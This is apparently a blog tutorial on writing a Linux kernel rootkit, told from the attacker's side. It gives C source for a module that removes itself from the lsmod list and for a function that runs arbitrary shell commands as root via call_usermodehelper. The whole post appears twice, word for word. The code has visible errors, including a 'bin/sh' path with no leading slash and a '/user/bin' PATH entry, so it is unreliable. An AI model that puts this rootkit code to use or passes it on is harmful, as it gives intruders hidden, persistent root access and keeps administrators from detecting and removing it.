Linux Kernel Module Rootkit Tutorial (Part 2)
Little bit tired so I think I can just write one more post before going to bed, haha.
Well, In the next one or two tutorials I will assume you have the basic C programming knowledge. Let's go
First, make sure you have already included the following head files:
#include <linux/module.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/namei.h>
#include <linux/moduleparam.h>
#include <linux/sched.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
Making your LKM invisible
Being invisible is really important to a rootkit, assume that you are a server admin, you find out that your system get wired recently, you type "lsmod" in the terminal,
guess what, you see a evil rootkit lying on the module list, "oh Jesus" you said, "I will delete this shit!", then you type "sudo rmmod xxx". ****A hacker just lost his access point***
To avoid this situation, we need to hide our rootkit.The loaded kernel modules read through lsmod are represented in a "list" in memory. We can add and delete nodes in the list to display and hide the kernel modules, we are lucky enough that Linux even provided an API to do this!
void hide(void)
{
prev_module = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
}
void show(void)
{
list_add(&THIS_MODULE->list,prev_module);
}
Easy, isn't it? We just use THIS_MODULE variable to access the link. Then use list_del() and list_add() to modify it.
Command Execute in LKM
There are two ways to execute commands in LKM
1. Hook the syscall table and hijack the sys_execve() to execute your command.
2. Use call_usermodehelper to execute command directly.
I can't find a way to send the command result to kernel module directly, please tell me if you have any idea.
So in this case, I will safe the execution result into a file then read the file and print out.
static char* execcmd(char cmd[1024]) {
int result;
struct file *fp;
mm_segment_t fs;
loff_t pos;
static char buf[4096];
char add[] = " > /tmp/result.txt";
char cmd_path[] = "bin/sh";
strcat(cmd,add);
char *cmd_argv[] = {cmd_path,"-c",cmd,NULL};
char *cmd_envp[] = {"HOME=/","PATH=/sbin:/bin:/user/bin",NULL};
result = call_usermodehelper(cmd_path,cmd_argv,cmd_envp,UMH_WAIT_PROC);
fp = filp_open("/tmp/result.txt",O_RDWR | O_CREAT,0644);
memset(buf,0,sizeof(buf));
fs = get_fs();
set_fs(KERNEL_DS);
pos = 0;
vfs_read(fp,buf,sizeof(buf),&pos);
printk(KERN_INFO "shell result length %ld:\n",strlen(buf));
printk("%s\n",buf);
filp_close(fp,NULL);
set_fs(fs);
return buf;
}
Shit i'm too tired and I have fucking homework to do. I guess I will go to sleep and write the articles later...
Little bit tired so I think I can just write one more post before going to bed, haha.
Well, In the next one or two tutorials I will assume you have the basic C programming knowledge. Let's go
First, make sure you have already included the following head files:
#include <linux/module.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/namei.h>
#include <linux/moduleparam.h>
#include <linux/sched.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
Making your LKM invisible
Being invisible is really important to a rootkit, assume that you are a server admin, you find out that your system get wired recently, you type "lsmod" in the terminal,
guess what, you see a evil rootkit lying on the module list, "oh Jesus" you said, "I will delete this shit!", then you type "sudo rmmod xxx". ****A hacker just lost his access point***
To avoid this situation, we need to hide our rootkit.The loaded kernel modules read through lsmod are represented in a "list" in memory. We can add and delete nodes in the list to display and hide the kernel modules, we are lucky enough that Linux even provided an API to do this!
void hide(void)
{
prev_module = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
}
void show(void)
{
list_add(&THIS_MODULE->list,prev_module);
}
Easy, isn't it? We just use THIS_MODULE variable to access the link. Then use list_del() and list_add() to modify it.
Command Execute in LKM
There are two ways to execute commands in LKM
1. Hook the syscall table and hijack the sys_execve() to execute your command.
2. Use call_usermodehelper to execute command directly.
I can't find a way to send the command result to kernel module directly, please tell me if you have any idea.
So in this case, I will safe the execution result into a file then read the file and print out.
static char* execcmd(char cmd[1024]) {
int result;
struct file *fp;
mm_segment_t fs;
loff_t pos;
static char buf[4096];
char add[] = " > /tmp/result.txt";
char cmd_path[] = "bin/sh";
strcat(cmd,add);
char *cmd_argv[] = {cmd_path,"-c",cmd,NULL};
char *cmd_envp[] = {"HOME=/","PATH=/sbin:/bin:/user/bin",NULL};
result = call_usermodehelper(cmd_path,cmd_argv,cmd_envp,UMH_WAIT_PROC);
fp = filp_open("/tmp/result.txt",O_RDWR | O_CREAT,0644);
memset(buf,0,sizeof(buf));
fs = get_fs();
set_fs(KERNEL_DS);
pos = 0;
vfs_read(fp,buf,sizeof(buf),&pos);
printk(KERN_INFO "shell result length %ld:\n",strlen(buf));
printk("%s\n",buf);
filp_close(fp,NULL);
set_fs(fs);
return buf;
}
Shit i'm too tired and I have fucking homework to do. I guess I will go to sleep and write the articles later...